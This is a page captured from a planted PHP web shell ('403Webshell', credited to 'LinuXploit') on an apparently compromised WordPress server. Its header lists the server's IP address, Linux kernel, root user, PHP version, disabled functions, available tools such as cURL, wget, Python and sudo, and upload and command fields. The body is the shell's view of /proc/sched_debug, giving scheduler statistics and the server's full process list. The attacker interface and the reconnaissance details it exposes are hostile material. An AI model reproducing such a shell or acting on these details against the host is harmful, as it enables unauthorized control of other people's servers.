403Webshell
Server IP : 34.67.85.211  /  Your IP : 216.73.217.52
Web Server : Apache
System : Linux wordpress-1-vm 4.9.0-13-amd64 #1 SMP Debian 4.9.228-1 (2020-07-05) x86_64
User : root ( 0)
PHP Version : 7.4.9
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/thread-self/root/proc/sched_debug
Sched Debug Version: v0.11, 4.9.0-13-amd64 #1
ktime                                   : 403844712.146970
sched_clk                               : 403811459.699699
cpu_clk                                 : 403811459.699726
jiffies                                 : 4395853474
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 6.000000
  .sysctl_sched_min_granularity            : 0.750000
  .sysctl_sched_wakeup_granularity         : 1.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 87867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2299.998 MHz
  .nr_running                    : 1
  .load                          : 1048576
  .nr_switches                   : 70850106
  .nr_load_updates               : 13954507
  .nr_uninterruptible            : 1
  .next_balance                  : 4294.892296
  .curr->pid                     : 2719
  .clock                         : 403811460.161336
  .clock_task                    : 403811460.161336
  .cpu_load[0]                   : 415
  .cpu_load[1]                   : 493
  .cpu_load[2]                   : 658
  .cpu_load[3]                   : 758
  .cpu_load[4]                   : 705
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 9832266.230311
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 1349
  .runnable_load_avg             : 431
  .util_avg                      : 905
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.012658
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1   9831114.883084     73373   120         0.000000     12352.899547         0.000000 0 0 /
        kthreadd     2   9696785.944170       657   120         0.000000        34.509861         0.000000 0 0 /
     ksoftirqd/0     3   9832262.815464    942864   120         0.000000     14973.324704         0.000000 0 0 /
    kworker/0:0H     5      1312.352239         7   100         0.000000         0.037922         0.000000 0 0 /
       rcu_sched     7   9832262.808059   5274935   120         0.000000     47343.489467         0.000000 0 0 /
          rcu_bh     8       164.234332         2   120         0.000000         0.001051         0.000000 0 0 /
     migration/0     9         0.000000         5     0         0.000000         0.068657         0.000000 0 0 /
   lru-add-drain    10       169.235944         2   100         0.000000         0.001680         0.000000 0 0 /
      watchdog/0    11         0.000000    100964     0         0.000000      1154.583276         0.000000 0 0 /
         cpuhp/0    12      1769.907734         8   120         0.000000         0.027857         0.000000 0 0 /
       kdevtmpfs    13      8269.809332       127   120         0.000000         0.646041         0.000000 0 0 /
           netns    14       188.234090         2   100         0.000000         0.004556         0.000000 0 0 /
      khungtaskd    15   9828314.392438      3344   120         0.000000       245.015471         0.000000 0 0 /
      oom_reaper    16   2268161.701882         4   120         0.000000         0.013819         0.000000 0 0 /
       writeback    17   2199518.582564         3   100         0.000000         0.009106         0.000000 0 0 /
      kcompactd0    18   9370390.155546         8   120         0.000000         4.248875         0.000000 0 0 /
            ksmd    20       218.596951         2   125         0.000000         0.001900         0.000000 0 0 /
      khugepaged    21       220.137769         2   139         0.000000         0.001717         0.000000 0 0 /
          crypto    22       222.095081         2   100         0.000000         0.001178         0.000000 0 0 /
     kintegrityd    23       224.095487         2   100         0.000000         0.001054         0.000000 0 0 /
          bioset    24       226.095899         2   100         0.000000         0.001069         0.000000 0 0 /
         kblockd    25       228.097262         2   100         0.000000         0.002589         0.000000 0 0 /
      devfreq_wq    26       437.114126         2   100         0.000000         0.001979         0.000000 0 0 /
       watchdogd    27       438.616335         2   100         0.000000         0.003705         0.000000 0 0 /
    kworker/u2:1    28   9832096.703435     25258   120         0.000000      1797.471177         0.000000 0 0 /
         kswapd0    30   9827889.459420    168563   120         0.000000     72864.009113         0.000000 0 0 /
          vmstat    31       796.935180         2   100         0.000000         0.002458         0.000000 0 0 /
        kthrotld    43       820.140072         2   100         0.000000         0.004240         0.000000 0 0 /
   ipv6_addrconf    45       982.257920         2   100         0.000000         0.004056         0.000000 0 0 /
       scsi_eh_0   102      1169.191593         2   120         0.000000         0.003762         0.000000 0 0 /
      scsi_tmf_0   104      1170.393432         2   100         0.000000         0.003545         0.000000 0 0 /
          bioset   106      1217.992447         2   100         0.000000         0.002899         0.000000 0 0 /
    kworker/u3:0   377      1291.630609         2   100         0.000000         0.003461         0.000000 0 0 /
    kworker/0:1H   384   9832096.680641    389823   100         0.000000      7239.785215         0.000000 0 0 /
     jbd2/sda1-8   386   9831957.962657    363144   120         0.000000     14237.288079         0.000000 0 0 /
 ext4-rsv-conver   387      1323.205227         2   100         0.000000         0.002146         0.000000 0 0 /
 systemd-journal   417   9829401.009312     65945   120         0.000000     22046.227702         0.000000 0 0 /
         kauditd   423      1548.223293         2   120         0.000000         0.003347         0.000000 0 0 /
   systemd-udevd   436   9811882.457180      6094   120         0.000000       864.375964         0.000000 0 0 /
          bioset   442      1620.672132         2   100         0.000000         0.002238         0.000000 0 0 /
          bioset   443      1622.672637         2   100         0.000000         0.001338         0.000000 0 0 /
          bioset   444      1624.673071         2   100         0.000000         0.001168         0.000000 0 0 /
          bioset   445      1626.673538         2   100         0.000000         0.001140         0.000000 0 0 /
          bioset   446      1628.673989         2   100         0.000000         0.001142         0.000000 0 0 /
          bioset   447      1630.674440         2   100         0.000000         0.001128         0.000000 0 0 /
          bioset   448      1632.674917         2   100         0.000000         0.001146         0.000000 0 0 /
          bioset   449      1634.676065         2   100         0.000000         0.002088         0.000000 0 0 /
           loop0   450   9667253.549460       908   100         0.000000        33.832287         0.000000 0 0 /
           loop1   452   9672206.770182      5133   100         0.000000       244.392475         0.000000 0 0 /
           loop2   454   9671105.807346       789   100         0.000000        32.308895         0.000000 0 0 /
           loop3   456   9831758.213930      6452   100         0.000000       255.968350         0.000000 0 0 /
           loop4   462   9772037.921087      2798   100         0.000000        95.002104         0.000000 0 0 /
           loop5   463   9575645.325800      5486   100         0.000000       264.191097         0.000000 0 0 /
           loop6   467   9820447.184229     17650   100         0.000000      1011.174825         0.000000 0 0 /
           loop7   469   9681015.236150      5151   100         0.000000       209.521430         0.000000 0 0 /
           hwrng   501   4036235.413425       714   120         0.000000        68.286845         0.000000 0 0 /
     edac-poller   505      1828.999457         2   100         0.000000         0.003195         0.000000 0 0 /
        dhclient   663   9630599.496050      4823   120         0.000000       642.357429         0.000000 0 0 /
      php-fpm7.4   728   9832060.306210    453606   120         0.000000     20389.811394         0.000000 0 0 /
           acpid   734      6873.742048         5   120         0.000000         1.524324         0.000000 0 0 /
        rsyslogd   741   9757190.729744       724   120         0.000000        36.180733         0.000000 0 0 /
     in:imuxsock   868   9829343.228938     37299   120         0.000000      1535.014445         0.000000 0 0 /
       in:imklog   869   4164984.813135        17   120         0.000000         2.857020         0.000000 0 0 /
   rs:main Q:Reg   870   9829343.225319     37508   120         0.000000      1796.614940         0.000000 0 0 /
 google_osconfig   773      7758.318557       218   120         0.000000        25.702098         0.000000 0 0 /
 google_osconfig   886   9831881.007102   3174850   120         0.000000     29746.459125         0.000000 0 0 /
 google_osconfig   887   9831880.920415   2054920   120         0.000000     45146.422755         0.000000 0 0 /
 google_osconfig   888      7265.229992        35   120         0.000000         0.290354         0.000000 0 0 /
 google_osconfig   913   9827405.521756   2100808   120         0.000000     45578.260678         0.000000 0 0 /
 google_osconfig   959      7742.489390         1   120         0.000000         0.014988         0.000000 0 0 /
 google_osconfig   965   9831880.961970   2084498   120         0.000000     45659.463615         0.000000 0 0 /
 google_osconfig  1022   9056575.859722       407   120         0.000000         7.131117         0.000000 0 0 /
           snapd   799      8226.988216       894   120         0.000000       578.406794         0.000000 0 0 /
           snapd   924   9827476.260076     45540   120         0.000000      3969.673804         0.000000 0 0 /
           snapd   970   9827479.068444      8960   120         0.000000      7273.094481         0.000000 0 0 /
           snapd   971      8224.002657        64   120         0.000000         0.442068         0.000000 0 0 /
           snapd   972      8227.230676         2   120         0.000000         0.264310         0.000000 0 0 /
           snapd  1025   9806528.013194     15155   120         0.000000      7675.041153         0.000000 0 0 /
           snapd  1026     11588.492572       934   120         0.000000       201.974513         0.000000 0 0 /
           snapd  1627   6679653.204973      4787   120         0.000000      3138.981536         0.000000 0 0 /
          agetty   829      7968.252619        97   120         0.000000         2.551466         0.000000 0 0 /
          agetty   833      7968.202944        95   120         0.000000         1.966830         0.000000 0 0 /
          agetty   837      7968.197662        95   120         0.000000         1.987647         0.000000 0 0 /
          agetty   838      7968.191579        96   120         0.000000         2.101994         0.000000 0 0 /
          agetty   839      7968.224508        95   120         0.000000         2.476926         0.000000 0 0 /
          agetty   840      7972.646623        11   120         0.000000         7.990765         0.000000 0 0 /
          agetty   841      8235.285123        12   120         0.000000         2.864542         0.000000 0 0 /
 google_guest_ag   872      7502.163078       138   120         0.000000        15.500789         0.000000 0 0 /
 google_guest_ag   889   9831824.350775   2363653   120         0.000000     20494.440787         0.000000 0 0 /
 google_guest_ag   890      7493.347102         5   120         0.000000         0.078826         0.000000 0 0 /
 google_guest_ag   891   9828197.778129   1660964   120         0.000000     37943.297094         0.000000 0 0 /
 google_guest_ag   910   9831824.342183   1630145   120         0.000000     37876.356619         0.000000 0 0 /
 google_guest_ag   911      7501.815302         1   120         0.000000         0.030116         0.000000 0 0 /
 google_guest_ag   912   9831824.382468   1651027   120         0.000000     37555.941833         0.000000 0 0 /
 google_guest_ag   923   2467308.083098       533   120         0.000000        11.034062         0.000000 0 0 /
 google_guest_ag   925      7931.295566       157   120         0.000000         3.800578         0.000000 0 0 /
 google_guest_ag   974      7919.216316        18   120         0.000000         0.414753         0.000000 0 0 /
 google_guest_ag   975      7815.679881         5   120         0.000000         0.043306         0.000000 0 0 /
            ntpd   881   9832060.349655    407464   120         0.000000     22654.365602         0.000000 0 0 /
            ntpd   882      7219.509816         9   120         0.000000         0.530499         0.000000 0 0 /
            sshd  1000   9831805.330808     46462   120         0.000000      8976.011869         0.000000 0 0 /
            cron  1009   9825524.223777     10942   120         0.000000       948.654561         0.000000 0 0 /
         apache2  1030   9832148.893885    407787   120         0.000000     20738.396475         0.000000 0 0 /
          bioset  1032      8272.802553         2   100         0.000000         0.003416         0.000000 0 0 /
      php-fpm7.4  1074      8455.563462         2   120         0.000000         0.834126         0.000000 0 0 /
      php-fpm7.4  1075      8454.713063         1   120         0.000000         0.409559         0.000000 0 0 /
          mysqld  9285   9832251.992414    450383   120         0.000000     23179.718920         0.000000 0 0 /
          mysqld  9312   2269123.326227         3   120         0.000000         0.035831         0.000000 0 0 /
          mysqld  9377   9832263.232909    314010   120         0.000000      3929.630351         0.000000 0 0 /
          mysqld  9378   9832263.234072    319337   120         0.000000      9780.655662         0.000000 0 0 /
          mysqld  9379   9832263.234542    314012   120         0.000000      4660.587045         0.000000 0 0 /
          mysqld  9380   9832263.233066    314019   120         0.000000      6172.255516         0.000000 0 0 /
          mysqld  9381   9832263.250861    314011   120         0.000000      4450.839291         0.000000 0 0 /
          mysqld  9382   9832263.232706    314013   120         0.000000      4235.141784         0.000000 0 0 /
          mysqld  9383   9832136.654221    324840   120         0.000000      5747.839849         0.000000 0 0 /
          mysqld  9384   9832136.657835    322193   120         0.000000      6433.246325         0.000000 0 0 /
          mysqld  9385   9832136.654930    317567   120         0.000000      5831.491424         0.000000 0 0 /
          mysqld  9386   9832136.694903    326042   120         0.000000      5853.251044         0.000000 0 0 /
          mysqld  9387   9832085.945456    186251   120         0.000000      8949.104276         0.000000 0 0 /
          mysqld  9460   9832050.294830    157037   120         0.000000      5791.941137         0.000000 0 0 /
          mysqld  9461   9832162.132086    157073   120         0.000000     10050.448745         0.000000 0 0 /
          mysqld  9462   9832147.222746     31411   120         0.000000      1182.834700         0.000000 0 0 /
          mysqld  9463   9832162.091706    165719   120         0.000000      9543.014389         0.000000 0 0 /
          mysqld  9464   3785590.053858    164591   120         0.000000      4996.918797         0.000000 0 0 /
          mysqld  9465   3785587.422535     56128   120         0.000000      1335.778990         0.000000 0 0 /
          mysqld  9466   3785587.424859     74804   120         0.000000      2612.995683         0.000000 0 0 /
          mysqld  9467   3785587.422678     59772   120         0.000000      1514.778315         0.000000 0 0 /
          mysqld  9470   2269799.361568        39   120         0.000000        10.539971         0.000000 0 0 /
          mysqld  9471   9832002.327479     19111   120         0.000000       976.686465         0.000000 0 0 /
          mysqld  9472   9832162.105202     31412   120         0.000000      1238.524822         0.000000 0 0 /
          mysqld  9473   2269748.969957         1   120         0.000000         0.006570         0.000000 0 0 /
          mysqld  9474   2269788.014114         3   120         0.000000         0.021986         0.000000 0 0 /
          mysqld  9475   2269790.019324         1   120         0.000000         0.012635         0.000000 0 0 /
          mysqld 24635   9832205.995008    500288   120         0.000000     77465.129186         0.000000 0 0 /
          mysqld 29756   9832253.383821    468152   120         0.000000     71797.255892         0.000000 0 0 /
          mysqld 30489   9832174.496442    424676   120         0.000000     65553.391078         0.000000 0 0 /
          mysqld   749   9832148.546094    168339   120         0.000000     25807.413822         0.000000 0 0 /
          mysqld   757   9832161.407337    167689   120         0.000000     25850.093535         0.000000 0 0 /
          mysqld  1325   9832183.889079    107973   120         0.000000     16687.675978         0.000000 0 0 /
          mysqld  1654   9832187.819713     84541   120         0.000000     13003.725166         0.000000 0 0 /
          mysqld  1699   9832136.302971     81348   120         0.000000     12567.427283         0.000000 0 0 /
          mysqld  1741   9832214.739784     72103   120         0.000000     11092.629380         0.000000 0 0 /
    kworker/u2:0  9508   2269820.373378         3   120         0.000000         0.025008         0.000000 0 0 /
         apache2  2277   9832028.966624     50763   120         0.000000     43715.679355         0.000000 0 0 /
     kworker/0:2  2416   9696787.931026      3813   120         0.000000        81.569794         0.000000 0 0 /
         apache2  2531   9832257.269762     29781   120         0.000000     24025.864870         0.000000 0 0 /
     kworker/0:1  2647   9832184.324659      1770   120         0.000000        37.187149         0.000000 0 0 /
         apache2  2653   9832187.309488      9253   120         0.000000      8011.922607         0.000000 0 0 /
         apache2  2663   9831908.349606     11835   120         0.000000      9824.267974         0.000000 0 0 /
         apache2  2668   9832071.913998     10057   120         0.000000      9114.042917         0.000000 0 0 /
         apache2  2682   9831745.689604      8640   120         0.000000      6984.399935         0.000000 0 0 /
         apache2  2715   9831951.812188      1876   120         0.000000      1615.564503         0.000000 0 0 /
         apache2  2716   9832195.033386       494   120         0.000000       356.012029         0.000000 0 0 /
R        apache2  2719   9832266.230311      2801   120         0.000000      2222.231510         0.000000 0 0 /
         apache2  2721   9832063.276499      1798   120         0.000000      1480.859074         0.000000 0 0 /
         apache2  2724   9832130.159419       318   120         0.000000       368.923407         0.000000 0 0 /
         apache2  2725   9832229.061829       356   120         0.000000       266.133698         0.000000 0 0 /
            sshd  2730   9832130.100701         5   120         0.000000         8.883669         0.000000 0 0 /
            sshd  2731   9832164.573256         5   120         0.000000         5.311082         0.000000 0 0 /


Youez - 2016 - github.com/yon3zu
LinuXploit